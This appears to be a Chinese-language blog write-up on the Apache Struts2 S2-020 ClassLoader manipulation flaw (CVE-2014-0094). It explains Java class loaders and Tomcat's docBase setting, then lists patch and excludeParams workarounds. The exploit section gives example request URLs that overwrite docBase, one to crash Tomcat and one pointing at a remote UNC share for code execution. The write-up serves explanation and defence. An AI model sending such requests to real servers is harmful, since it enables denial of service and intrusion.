struts2 CVE-2014-0050(DoS), CVE-2014-0094(ClassLoader manipulation) S2-20 DoS attacks and ClassLoader manipulation
catalog
. Description
. Effected Scope
. Exploit Analysis
. Principle Of Vulnerability
. Patch Fix
1. Description
0x1: 相关基础知识
Object是java的基础类,所有的class生成的对象,都会继承Object的所有属性和方法,因此当前action无论是什么代码,必须有Object自带的getClass方法,这个方法会返回一个Class对象,Class对象又一定会有getClassLoader方法,最终在每个action都可以
getClass().getClassLoader()
//拿到当前的ClassLoader
在JRE启动中,每个Class都会有自己的ClassLoader。web容器为了方便的管理启动过程,通常都有实现自定义的ClassLoader,事实上每个容器的ClassLoader都是自己实现的,环境必然会有所不同
0x2: 漏洞根源
Apache Struts 2.0.0-2.3.16版本的默认上传机制是基于Commons FileUpload 1.3版本,其附加的ParametersInterceptor允许访问'class' 参数(该参数直接映射到getClass()方法),从而导致了攻击者可以控制ClassLoader,并修改ClassLoader中的属性,而根据修改ClassLoader属性的不同,可以衍生出不同的攻击向量
0x3: ClassLoader
一个Java程序之后,不是管是CS还是BS应用,都是由若干个.class文件组织而成的一个完整的Java应用程序,当程序在运行时,即会调用该程序的一个入口函数来调用系统的相关功能,而这些功能都被封装在不同的class文件当中,所以经常要从这个class文件中要调用另外一个class文件中的方法,如果另外一个文件不存在的,则会引发系统异常。而程序在启动的时候,并不会一次性加载程序所要用的所有class文件,而是根据程序的需要,通过Java的类加载机制(ClassLoader)来动态加载某个class文件到内存当中的,从而只有class文件被载入到了内存之后,才能被其它class所引用。所以ClassLoader就是用来动态加载class文件到内存当中用的
0x4: Java默认提供的三个ClassLoader
. BootStrap ClassLoader: 启动类加载器
是Java类加载层次中最顶层的类加载器,负责加载JDK中的核心类库,如:rt.jar、resources.jar、charsets.jar等,可通过如下程序获得该类加载器从哪些地方加载了相关的jar或class文件/*
URL[] urls = sun.misc.Launcher.getBootstrapClassPath().getURLs();
for (int i = 0; i < urls.length; i++)
{
System.out.println(urls[i].toExternalForm());
}
*/
上述结果也是通过查找sun.boot.class.path这个系统属性所得知的
/*
System.out.println(System.getProperty("sun.boot.class.path"));
*/ . Extension ClassLoader: 扩展类加载器
负责加载Java的扩展类库,默认加载JAVA_HOME/jre/lib/ext/目下的所有jar . App ClassLoader: 系统类加载器
负责加载应用程序classpath目录下的所有jar和class文件
除了Java默认提供的三个ClassLoader之外,用户还可以根据需要定义自已的ClassLoader,而这些自定义的ClassLoader都必须继承自java.lang.ClassLoader类,也包括Java提供的另外二个ClassLoader(Extension ClassLoader和App ClassLoader)在内,但是Bootstrap ClassLoader不继承自ClassLoader,因为它不是一个普通的Java类,底层由C++编写,已嵌入到了JVM内核当中,当JVM启动后,Bootstrap ClassLoader也随着启动,负责加载完核心类库后,并构造Extension ClassLoader和App ClassLoader类加载器
Relevant Link:
http://help.aliyun.com/knowledge_detail.htm?spm=5176.7114037.1996646101.1.ZttC6m&categoryId=8314968&knowledgeId=5974950&pos=1
http://www.inbreak.net/archives/526
http://blog.csdn.net/xyang81/article/details/7292380
2. Effected Scope
Struts 2.0. - Struts 2.3.
3. Exploit Analysis
0x1: 利用class.classLoader.resources.dirContext.docBase赋值造成的DoS
. docBase这个参数是Tomcat进行应用目录映射路径配置的
. 如果赋值的地址不存在会导致Tomcat整体解析失败
. 通过修改污染ClassLoader,可以在当前应用进程(tomcat java进程)生命周期期间,持续使对docBase属性的修改生效,从而达到DOS目的
通过OGNLN解析,给当前应用目录赋个不存在的地址
http://localhost:8080/S2-XX/index.jsp
http://localhost:8080/S2-XX/Login.action?class.classLoader.resources.dirContext.docBase=不存在路径
0x2: 远程代码执行
还是这个参数,既然可以指向任意地址,如果指向的地址映射目录,是攻击者可控的目录,那就是远程代码执行了,类似于PHP CMS漏洞中常见的本地变量覆盖导致global config劫持,将用户的网站的配置参数劫持到黑客控制的数据库中,从而绕过登录验证逻辑
docBase参数有三种地址路径部署方式
. 相对路径:以Tomcat的webapps目录根更目录
. 绝对路径:如: c://web/部署的应用目录
. UNC path(如,远程共享一个标准的J2EE应用目录)
这里的UNC方式,和PHP CMS中的allow_url_include、allow_url_fopen本质是一样的
http://localhost:8080/S2-XX/Login.action?class.classLoader.resources.dirContext.docBase=//virus/test
Relevant Link:
http://wiki.apache.org/tomcat/FAQ/Windows#Q6
http://drops.wooyun.org/papers/1377
4. Principle Of Vulnerability
5. Patch Fix
0x1: upgrade struts2
If you cannot upgrade to version 2.3.16.1 which is strongly advised,
In Struts 2.3.16.1, Commons FileUpload was updated to version 1.3. and "class" was added to excludeParams in struts-default.xml configuration of ParametersInterceptor.
0x2: Workaround: Upgrade commons-fileupload
The fixed commons-fileupload library is a drop-in replacement for the vulnerable version. Deployed applications can be hardened by replacing the commons-fileupload jar file in WEB-INF/lib with the updated jar. For Maven
based Struts 2 projects, the following dependency needs to be added:
单独替换commons-fileupload并重启struts2应用实现修复
<dependency>
<groupId>commons-fileupload</groupId>
<artifactId>commons-fileupload</artifactId>
<version>1.3.</version>
</dependency>
0x3: Workaround: Exclude 'class' parameter
Simple add '^class\.*' to the list of excludeParams as below
struts2的漏洞基本和OGNL、Actoin的参数解析过程有关,因此在struts.xml中配置参数拦截器,可以有效拦截攻击
<interceptor-ref name="params">
<param name="excludeParams">^class\..*,^dojo\..*,^struts\..*,^session\..*,^request\..*,^application\..*,^servlet(Request|Response)\..*,^parameters\..*,^action:.*,^method:.*</param>
</interceptor-ref>
Relevant Link:
http://struts.apache.org/docs/s2-020.html?spm=5176.775974950.2.9.ie55ik
Copyright (c) 2015 Little5ann All rights reserved
struts2 CVE-2014-0050(DoS), CVE-2014-0094(ClassLoader manipulation) S2-20 DoS attacks and ClassLoader manipulation的更多相关文章
- 免费获取一年 AVG Internet Security 2014 和 Antivirus Pro 2014
华为版的 AVG 2014 系列出炉了,用过华为版 2013 系列的童鞋都知道是什么回事,内置一年多的序列号不用那么麻烦去找了. 下载地址: 内置的许可证是:IBY9X-ESYXT-W4BZQ-QI4 ...
- HGE引擎改进——2014/2/18 和 2014/2/27
2014/2/18 更新 hgehelper库:增加hgeSkeleton类,该类用于播放骨骼动画 增加工具骨骼动画编辑器(AnimationEd),该工具用于骨骼动画的编辑 2014/2/27 更新 ...
- ECCV 2014 Results (16 Jun, 2014) 结果已出
Accepted Papers Title Primary Subject Area ID 3D computer vision 93 UPnP: An optimal O(n) soluti ...
- Dos.ORM logo.Net轻量级开源ORM框架 Dos.ORM
http://www.oschina.net/p/dos-orm http://www.oschina.net/project/lang/194/csharp http://www.cnblogs.c ...
- SQL SERVER 2014 下IF EXITS 居然引起执行计划变更的案例分享
这个问题是在SQL SERVER 2005 升级到SQL SERVER 2014的测试过程中一同事发现的.我觉得有点意思,遂稍微修改一下脚本展示出来,本来想构造这样的一个案例来演示,但是畏惧麻烦,遂直 ...
- SQL SERVER 2014 安装图解(含 SQL SERVER 2014 安装程序共享)
开篇介绍 2015年1月1日,新的一年开始之际,本来应该好好做点有意义的事情来跨个年的.结果,老习惯 - 睡觉之前一定要折腾一下电脑,说干就干,给新到的 DELL 电脑装虚机,下载 SQL SERVE ...
- Delphi 和 C++Builder 2014年及以后技术路线图
RAD Studio, Delphi 和 C++Builder 2014年及以后技术路线图 By: Embarcadero News 内容源自Embarcadero新闻组,本人水平有限,欢迎各位高人修 ...
- Autodesk 2014全套密钥
AUTODESK 2014通用安装序列号: 666-69696969 667-98989898 400-45454545 066-66666666 AUTODESK 2014全系列产品密钥 001F1 ...
- 2014年的Google I/O app设计中的材料设计-渣渣的翻译
又是一篇翻译,用了三个多小时.http://android-developers.blogspot.co.id/2014/08/material-design-in-2014-google-io-ap ...
随机推荐
- Block Chain, a protocol view
我做了个区块链的文档,给自己扫盲用的,有兴趣的可以看下,主要是自己画示意图比较好理解,示意图之后的专题部分,内容直接取自参考链接.网上的资料都是谈区块链有什么性质.有什么能力.有什么应用之类的,我主要 ...
- Burndown chart
S型的燃尽图 在一次milestone开发过程中,开发者会持续编辑issue列表,每个issue都有自己的生命周期.燃尽图预期这些issues会被线性的消灭掉,所以从第一天直接到最后一天画个直线表示预 ...
- jQuery经典学习笔记
1.层次选择器: $("div> span") 获取div下的span元素 $(".one + div") 获取class为one的下一个div 2)过滤 ...
- ASP.NET 系列:单元测试之SmtpClient
使用SmtpClient发送Email时,我们可以创建ISmtpClient接口和SmtpClientWrapper适配类,在单元测试中对ISmtpClient进行Mock或自定义FackeSmtpC ...
- MPLS基础
1.1 MPLS简介 MPLS(Multiprotocol Label Switching,多协议标签交换)是一种新兴的IP骨干网技术.MPLS在无连接的IP网络上引入面向连接的标签交换概念,将第三 ...
- poj-1384 Piggy-Bank
poj-1384 Piggy-Bank 地址:http://poj.org/problem?id=1384 题意: 知道盒子里面的物体的总重量,得到每一种硬币的价格和重量,求最少钱构成盒子物体总重量的 ...
- bindService初步了解
bindService的使用: 当需要调Service里面的方法时,可以用bindService() 首先定义一个类继承于Service,然后配置Manifest.xml文件 public class ...
- js 漩涡
What's the ball's orbit if they head for it's next ball. <html> <canvas id="ca"&g ...
- [AJAX系列]XMLHttpRequest请求
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- IOS_SearchBar搜索栏及关键字高亮
搜索框的效果演示: 这个就是所谓的搜索框了,那么接下来我们看看如何使用代码来实现这个功能. 我所使用的数据是英雄联盟的英雄名单,是一个JSON数据的txt文件, JSON数据的处理代码如下所示: ? ...